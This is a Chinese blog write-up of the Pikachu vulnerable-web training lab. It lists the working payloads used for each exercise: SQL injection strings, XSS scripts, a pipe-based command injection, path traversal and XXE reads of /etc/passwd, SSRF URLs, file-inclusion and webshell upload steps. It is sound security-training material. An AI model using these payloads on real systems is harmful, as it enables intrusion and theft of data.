zoukankan      html  css  js  c++  java
  • pikachu漏靶场洞测试

    0x00、写在前面

    这个靶场总体很简单,以演示漏洞为主,没什么弯弯绕

    0x01、暴力破解

    1.1 基于表单的暴力破解

    普通的登录框,简单的爆破出admin/123456

     

     

    1.2 验证码绕过(on server)

    输入验证码后再爆破,验证码没有强制刷新,可以用同一个验证码爆。admin/123456

     

    1.3 验证码绕过(on client)

    查看源码,这里是前端js验证。

    输入正确的验证码开爆就行了。admin/123456

    也可以把代码下载到本地,删了onsubmit的内容,这样就不用管验证码了。

     

     

     

    1.4 token防爆破?

    多了个每次都会变得token值,token值来自于上一次的网页中,每次都会变。

    获取上次访问的网页中的token值,添加到本次的提交中,即可完成爆破。Admin/123456

     

     

     

     

     

    0x02XSS(跨站脚本)

    2.1 反射性xssget

    直接message后面加payload<script>confirm(1)</script>

    2.2 反射性xsspost

    只是传输方式变了,登录后输入框写payload<script>confirm(1)</script>

    2.3 存储型性xsspost

    变成存储型了,也没什么区别。输入框写payload<script>confirm(1)</script>

     

    0x03CSRF

    0x04SQL注入

    4.1 数字型注入(post)

    推测sql语句是select name from mail where id=1

    直接or 1=1出来了所有数据。

    然后就手工测试的一些语句。

     

     

    4.2 字符型注入(get)

    推测sql语句是select name from users where usrname=xx

    ' or 1=1#出来了所有数据。

     

    4.3 搜索型注入

    推测sql语句是select name from users where usrname like '%a%';

    %' or 1=1#出来了所有数据。

     

    4.4 xx型注入

    根据报错情况,推测sql语句是select name from users where usrname=(xx)

    ') or 1=1#出来了所有数据。

     

    4.5 "insert/update"注入

    推测sql语句是INSERT into user(userName,realName,passWord) VALUES('asi','阿四','gggg')

    Payload' or updatexml(1,concat(1,database()),1) or '通过报错出结果

     

     

    4.6 "delete"注入

    推测sql语句是delete from user WHERE id=5

    可以看到删除的时候是发一个get请求,参数是递增的id

    payloadhttp://192.168.5.131:8000/vul/sqli/sqli_del.php?id=633 or updatexml(1,concat(1,database()),1),通过报错出结果

     

    4.7 "http header"注入

    先用爆破跑出密码admin/123456

    登录进去后发现存储了http头中的信息

    还是利用报错,Payload' or updatexml(1,concat(1,database()),1) or '添加在user-agent

     

     

    4.8 盲注(base on boolean)

    根据之前的信息可以做正常查询

    无回显。利用boolean盲注,即可猜解出库名

    payload' and ascii(substr(database(),1,1))=112#

     

     

    4.9 盲注(base on time)

    输入什么都是这句话

    时间盲注通过返回时间判断。判断正确返回较久

    Payloadxx' and if ((substr(database(),1,1))='p',sleep(5),null)#

    4.10 宽字节注入

    Payload1%df' or 1=1#

     

    0x05RCE(remote command/code execute)

    5.1 exec "ping"

    利用管道符拼接要执行的命令

    payload127.0.0.1 | id

     

    5.2 exec "eval"

    执行你想要的php代码

    payloadphpinfo();

     

    0x06File Inclusion(文件包含漏洞)

    6.1 File Inclusion(local)本地文件包含

    需要结合之前的上传漏洞传进来的小马

    之前传上来的.jpg格式的图马也能解析,当做php执行

    payloadhttp://192.168.5.131:8000/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/info.php&submit=%E6%8F%90%E4%BA%A4

    payload

    http://192.168.5.131:8000/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/tuma.jpg&submit=%E6%8F%90%E4%BA%A4

     

     

    6.2 File Inclusion(remote)远程文件包含

    还需打开允许远程文件包含的配置

    payloadhttp://127.0.0.1/vul/fileinclude/fi_remote.php?filename=http://192.168.5.131:8000/vul/unsafeupload/uploads/info.php&submit=%E6%8F%90%E4%BA%A4

     

     

    0x07、不安全的文件下载概述

    7.1 Unsafe Filedownload

    修改filename后的值,可以下载服务器上任意文件

    payloadhttp://192.168.5.131:8000/vul/unsafedownload/execdownload.php?filename=../down_nba.php

    payload

    http://192.168.5.131:8000/vul/unsafedownload/execdownload.php?filename=../../../../../../etc/passwd

     

     

     

    0x08、不安全的文件上传

    8.1 客户端check

    直接传php会拦截,传个图片直接返回路径

    把马的后缀改成.php.jpg,上传后通过burp修改文件后缀,改回.php

    可以看到传的phpinfo执行

    再传个一句话马

     

     

     

     

     

    8.2 MIME type(服务端check

    看题目是限制MIME的头,直接传php文件改Content-Type: image/jpeg。或者制作一个图马上传,抓包后改后缀为php

     

    8.3 getimagesize()

    上传后的图片会被改名。且上传的文件必须为图片。为服务端验证,这里上传本身不存在什么漏洞,上传个图马后利用其他漏洞来进行解析。

     

    0x09、越权

    9.1 水平越权

    参数username=用户名,修改用户名即可查看其他用户信息

     

     

    9.2 垂直越权

    该系统分为普通用户和管理员

    以普通用户登录,发送创建用户请求,可以看到用户创建成功

     

     

     

     

    0x0a、目录遍历漏洞

    10.1 目录遍历

    通过访问目录可以遍历所有目录

    改为http://192.168.5.131:8000/vul/dir/dir_list.php?title=../dir.php即可浏览上层文件,修改参数值可访问任意文件

     

    0x0b、敏感信息泄露

    11.1 敏感信息泄露

    前端源码中有测试账号

     

    0x0cphp反序列化

    12.1 php反序列化漏洞

    把输入反序列化后当做代码执行

    O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

     

    0x0dXXE

    13.1 xxe漏洞

    通过构造xml,直接读取服务器文件

    Payload:

    <?xml version = "1.0"?><!DOCTYPE ANY [

        <!ENTITY f SYSTEM "file:///etc/passwd">

    ]><x>&f;</x>

     

    0x0eURL重定向

    13.1 不安全的URL跳转

    直接修改参数url的值,即可任意跳转

    http://192.168.5.131:8000/vul/urlredirect/urlredirect.php?url=http://www.baidu.com

     

    0x0fSSRF

    14.1 SSRF(curl)

    可以获取服务器内信息

    测试端口http://192.168.5.131:8000/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306

    读取文件http://192.168.5.131:8000/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd

    获取信息http://192.168.5.131:8000/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306/info

     

     

     

    14.2 SSRF(file_get_content)

    可以读取任意文件,也可以读取内网中其他服务器的文件

     

  • 相关阅读:
    随机ID添加
    学生ID查询
    node.js基础
    冒泡排序
    循环判断语句
    vue.js详细教程--优优优
    final注意事项
    HashMap Hashtable区别
    java中间件
    JSP错误页面
  • 原文地址:https://www.cnblogs.com/cx59244405/p/15714103.html
Copyright © 2011-2022 走看看